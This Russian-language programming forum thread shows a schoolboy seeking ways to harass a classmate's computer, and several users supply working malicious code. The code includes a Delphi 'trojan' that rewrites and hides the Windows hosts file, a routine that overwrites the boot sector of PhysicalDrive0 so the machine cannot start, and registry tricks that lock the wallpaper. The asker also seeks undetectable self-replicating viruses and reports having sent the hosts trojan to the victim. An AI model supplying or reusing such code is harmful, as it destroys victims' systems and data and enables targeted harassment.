небольшая шалость)
|
Negodnik
|
Дата: Вторник, 28.12.2010, 18:57 | Сообщение # 1
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
Здравствуйте много уважаемые друзья)
Со мной в одном классе учится один мудак, который выиграл районную олимпиаду по информатике, и зазвездился. этот урод в корне достал.
можно ли сделать так, чтобы при включении любого браузера у него вылазил сайт с гейпорно? |
|
|
|
|
opius
|
Дата: Вторник, 28.12.2010, 19:40 | Сообщение # 2
|
Частый гость
Зарегистрирован: 18.03.2010
Группа: Пользователи
Сообщений: 46
Статус: Offline
|
Negodnik, Для этого существует тема Болтовня.

|
|
|
|
|
Negodnik
|
Дата: Вторник, 28.12.2010, 19:48 | Сообщение # 3
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
окей. может кто нибудь из модеров сможет перенести эту тему?
Сообщение отредактировал Negodnik - Вторник, 28.12.2010, 19:50
|
|
|
|
|
opius
|
Дата: Вторник, 28.12.2010, 20:10 | Сообщение # 4
|
Частый гость
Зарегистрирован: 18.03.2010
Группа: Пользователи
Сообщений: 46
Статус: Offline
|
Quote (Negodnik)
окей. может кто нибудь из модеров сможет перенести эту тему?
Еслиб у меня были бы права на эту функцию я бы может и перенес бы.

|
|
|
|
|
Negodnik
|
Дата: Вторник, 28.12.2010, 20:45 | Сообщение # 5
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
А так я могу её удалить? если да, то как? |
|
|
|
|
cool1
|
Дата: Среда, 29.12.2010, 10:43 | Сообщение # 6
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
попробуй с hosts помудрить
p.s.
Code
program Hosts;
uses
Windows;
function WinDir:string;
var p:PChar;
begin
GetMem(p, MAX_PATH);
result:='';
if GetWindowsDirectory(p, MAX_PATH)>0 then
result:=string(p);
FreeMem(p);
end;
var
f:TextFile;
begin
AssignFile(f,WinDir+'\system32\drivers\etc\hosts');
Append(f);
Writeln(f,'127.0.0.1 yandex.ru');
Writeln(f,'127.0.0.1 www.yandex.ru');
Flush(f);
CloseFile(f);
SetFileAttributes('WinDir+'\system32\drivers\etc\hosts', faHidden);
end.
ну сам все сделаешь вот те дал типа трояна хост вместо 127.0.0.1 пиши ip тваего гей порно!
Ну для НУБов
Как узнать IP сайта
Пуск->Выполнить->ping site.ru -t вместо site.ru втсавишь сайт порно!

За помощь ставьте +!
Сообщение отредактировал cool1 - Среда, 29.12.2010, 10:46
|
|
|
|
|
Negodnik
|
Дата: Среда, 29.12.2010, 11:59 | Сообщение # 7
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
СПАСИБО добрый человек)
Это что то вроде того что не даёт в контакт войти?
Сообщение отредактировал Negodnik - Среда, 29.12.2010, 12:01
|
|
|
|
|
cool1
|
Дата: Среда, 29.12.2010, 12:37 | Сообщение # 8
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
ага

За помощь ставьте +!
|
|
|
|
|
gravitas
|
Дата: Среда, 29.12.2010, 12:51 | Сообщение # 9
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Дак помоему ему не с хостс надо мутить, а с стартовыми страницами браузеров. На эту тему неплохо бы погуглить...
З.Ы. Я тоже районку взял недавно 
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
Negodnik
|
Дата: Среда, 29.12.2010, 14:43 | Сообщение # 10
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
Поздравляю)
но ты ведь называешь всех в школе нубами?)
Кстати. насчет стартовых ты прав, но стартовую не в автозагрузку пихать, а в сами браузеры, иначе она загружается когда инет не включен.
или же впихнуть ярлык сайта в подключения к инету (тобишь когда начинаешь подключаться к инету вылазит сайт в мозиле например)
Сообщение отредактировал Negodnik - Среда, 29.12.2010, 15:10
|
|
|
|
|
gravitas
|
Дата: Среда, 29.12.2010, 19:01 | Сообщение # 11
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Quote (Negodnik)
Кстати. насчет стартовых ты прав, но стартовую не в автозагрузку пихать, а в сами браузеры, иначе она загружается когда инет не включен. или же впихнуть ярлык сайта в подключения к инету (тобишь когда начинаешь подключаться к инету вылазит сайт в мозиле например)
А зачем тогда топик создавал?))
Помоему лучший выход - баннер на раб стол...
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
Negodnik
|
Дата: Среда, 29.12.2010, 19:21 | Сообщение # 12
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
Quote
Помоему лучший выход - баннер на раб стол...
можешь дать код такого действа?
Сообщение отредактировал Negodnik - Среда, 29.12.2010, 19:22
|
|
|
|
|
gravitas
|
Дата: Среда, 29.12.2010, 19:23 | Сообщение # 13
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Quote (Negodnik)
можешь дать код такого действа?
Собирай из кусков кода типа запрета alt+f4 и т.д.
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
Negodnik
|
Дата: Среда, 29.12.2010, 21:18 | Сообщение # 14
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
последние вопросы 
где можно достать коды стелсов и репликаторов? есть какие нибудь стелсы, которые до сих пор не палят анвири?
И ещё) можно ли создать вирус, который бы не палился, и маскировался под файлы ЕХЕ, и создавал бы другой вирус, который в свою очередь создавал ярлыки в определённых файлах?
и ещё ты же на дельфи олимпиаду писал? 
Сообщение отредактировал Negodnik - Среда, 29.12.2010, 21:21
|
|
|
|
|
C@T
|
Дата: Четверг, 30.12.2010, 01:19 | Сообщение # 15
|
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
|
ну примерчик РЕ инфектора на форуме есть https://delfcode.ru/forum/10-324-1
почему вы такие добрые, гейпорно в браузер, это же безобидно
предлагаю вот что:
предисловие:
тем кто не знает как загружается ОС
после включения компа перерывание биоса 19h загружает в ОЗУ по адресу 0x7C00 код который находится в бут секторе(первые 512 байт винчестера) и передает ему управление
Если мы откроем файл винчестера то в первых 512 байт мы найдем первичный загрузчик винды, а если мы затрем первые 512 байт то винда не сможет загрузится, но можно поступить и по другому, запихнуть туда свой загрузчик(загружать он конечно ничего не будет) который сделает то что мы хотим, можно например форматнуть ВЕСЬ винт , можно нарисовать какую нибудь картинку или вывести сообщение, а можно если постараться и сделать загрузчик который после того как выведет сообщение "ваш комп сдох" вернет загрузчик винды на место и после следующей перезагрузки все будет работать нормально
вот пример с выводом сообщения
Code
procedure KILL;
type
loader = array [0..511] of byte;
const
NewLoader:loader =
($b4, $13, $b9, $0b, $00, $b0, $00, $b6, $00, $b2, $00, $bd, $14, $7c, $b3, $1f,
$cd, $10, $eb, $fe, $41, $56, $45, $20, $53, $41, $54, $41, $4e, $41, $53, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $aa, $55);// #aa#55 это сигнатура загрузчика
{
данная константа это скомпиленный асм код:
.model tiny
.code
org 7C00h
start:
mov ah,13h ;number of command
mov cx,11 ; nomber
mov al,0h ;wiev mode
mov dh,0 ; X, координаты куда будет выведенно сообщение
mov dl,0 ; Y
mov bp,offset message;offset
mov bl,00011111b ;color
int 10h
jmp $;вечный цикл
DATA:
message db "AVE SATANAS",0h;Слава Сатане(латынь)
end start
}
var
f1,f2:cardinal;
buf:loader;
nr,nw:Cardinal;
begin
f1 := CreateFileA('\\.\PhysicalDrive0',GENERIC_ALL,FILE_SHARE_WRITE + FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
buf := NewLoader;//заполняем буфер
WriteFile(f1,buf,512,nw,0);
CloseHandle(f1);
end;

Сообщение отредактировал C@T - Четверг, 30.12.2010, 01:34
|
|
|
|
|
cool1
|
Дата: Четверг, 30.12.2010, 06:52 | Сообщение # 16
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
Идея:
1)Меняем фон раб-стола на (рисуем в Paint'e) Пшел нах или че-то типа такого!
2)В HKEY_CURRENT_USER\Software\Microsoft\ Windows\CurrentVersion\Policies\ActiveDesktop добовляем
NoChangingWallpaper со значением, равным единице!

P.S. Меняем фон: (программно)
Code
uses ...Registry; //подключаем модуль
//Используем
procedure TForm1.Button1Click(Sender: TObject);
var
Reg: TRegIniFile;
begin
Reg := TRegIniFile.Create('Control Panel');
Reg.WriteString('desktop', 'Wallpaper', 'C:\1.bmp');
Reg.WriteString('desktop', 'TileWallpaper', '0');
Reg.Free;
SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, nil, SPIF_SENDWININICHANGE);
end;
УДАЧИ! 

За помощь ставьте +!
Сообщение отредактировал cool1 - Четверг, 30.12.2010, 06:56
|
|
|
|
|
gravitas
|
Дата: Четверг, 30.12.2010, 07:49 | Сообщение # 17
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Кстати есть еще вариант... Жертва 100500% обосрется от страха!
Внимание... Supervirus.
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
Negodnik
|
Дата: Четверг, 30.12.2010, 14:20 | Сообщение # 18
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
Quote (C@T)
вот пример с выводом сообщения
Code
procedure KILL;
type
loader = array [0..511] of byte;
const
NewLoader:loader =
($b4, $13, $b9, $0b, $00, $b0, $00, $b6, $00, $b2, $00, $bd, $14, $7c, $b3, $1f,
$cd, $10, $eb, $fe, $41, $56, $45, $20, $53, $41, $54, $41, $4e, $41, $53, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00,
$00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $00, $aa, $55);// #aa#55 это сигнатура загрузчика
{
данная константа это скомпиленный асм код:
.model tiny
.code
org 7C00h
start:
mov ah,13h ;number of command
mov cx,11 ; nomber
mov al,0h ;wiev mode
mov dh,0 ; X, координаты куда будет выведенно сообщение
mov dl,0 ; Y
mov bp,offset message;offset
mov bl,00011111b ;color
int 10h
jmp $;вечный цикл
DATA:
message db "AVE SATANAS",0h;Слава Сатане(латынь)
end start
}
var
f1,f2:cardinal;
buf:loader;
nr,nw:Cardinal;
begin
f1 := CreateFileA('\\.\PhysicalDrive0',GENERIC_ALL,FILE_SHARE_WRITE + FILE_SHARE_READ,0,OPEN_EXISTING,0,0);
buf := NewLoader;//заполняем буфер
WriteFile(f1,buf,512,nw,0);
CloseHandle(f1);
end;
Прикрепления: kill.rar(156Kb)
прочел и понял что я нихера не шарю)
Можете посоветовать какие нибудь хорошие книги по вирусологии? (желательно для чайников )
нашёл прогу, которая создаёт стартовую страницу в опере. прошу её посмотреть, и вынести вердикт можно ли её переделать под вирус.
И можно ли её приспособить под хром мозилу сафари эксплоуэр и другие?
незнаю как тут выкладывать файлы, поэтому выложил на дамп: http://dump.ru/file/4985794
Сообщение отредактировал Negodnik - Четверг, 30.12.2010, 14:45
|
|
|
|
|
gravitas
|
Дата: Четверг, 30.12.2010, 15:19 | Сообщение # 19
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Quote (Negodnik)
Можете посоветовать какие нибудь хорошие книги по вирусологии? (желательно для чайников )
А ты по твоему где?) На сайте дельфина (на этом сайте) килотонны мануала.
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
Negodnik
|
Дата: Пятница, 31.12.2010, 13:54 | Сообщение # 20
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
чем можно открыть это приложение, чтобы взглянуть на код. можете посоветьвать утилиту? |
|
|
|
|
gravitas
|
Дата: Пятница, 31.12.2010, 14:52 | Сообщение # 21
|
Авторитетный
Зарегистрирован: 01.05.2010
Группа: Пользователи
Сообщений: 385
Статус: Offline
|
Какое приложение?
TheDeduction

Для ускорения получения ответов на ваши вопросы рекомендуется подкармливание в виде +'ов в рейтинг :)
|
|
|
|
|
C@T
|
Дата: Пятница, 31.12.2010, 16:45 | Сообщение # 22
|
Авторитетный
Зарегистрирован: 06.03.2010
Группа: Модераторы
Сообщений: 265
Статус: Offline
|
вот, может поможет
ну как, отомстил своему однокласснику ?
|
|
|
|
|
Negodnik
|
Дата: Воскресенье, 02.01.2011, 19:47 | Сообщение # 23
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
Quote (C@T)
ну как, отомстил своему однокласснику ?
Я ему кинул вирь с хостом (код которого самый первый), но это уж совсем для нубов)
|
|
|
|
|
Negodnik
|
Дата: Воскресенье, 02.01.2011, 23:01 | Сообщение # 24
|
Был не раз
Зарегистрирован: 28.12.2010
Группа: Пользователи
Сообщений: 15
Статус: Offline
|
Друзья! я как обычно гуглил по теме, и узнал, что мне не нужно строить велосипед, окозалось что его построили ещё до меня)
Trojan Start Page 1505
проблема в том, что я не могу найти исходники этого вируса  |
|
|
|
|
cool1
|
Дата: Понедельник, 03.01.2011, 14:16 | Сообщение # 25
|
Участник
Зарегистрирован: 14.07.2010
Группа: Пользователи
Сообщений: 238
Статус: Offline
|
так его может на асме или си писали
p.s. сам напиши вроде в реестре стартовые страницы хранятся

За помощь ставьте +!
Сообщение отредактировал cool1 - Понедельник, 03.01.2011, 14:17
|
|
|
|
|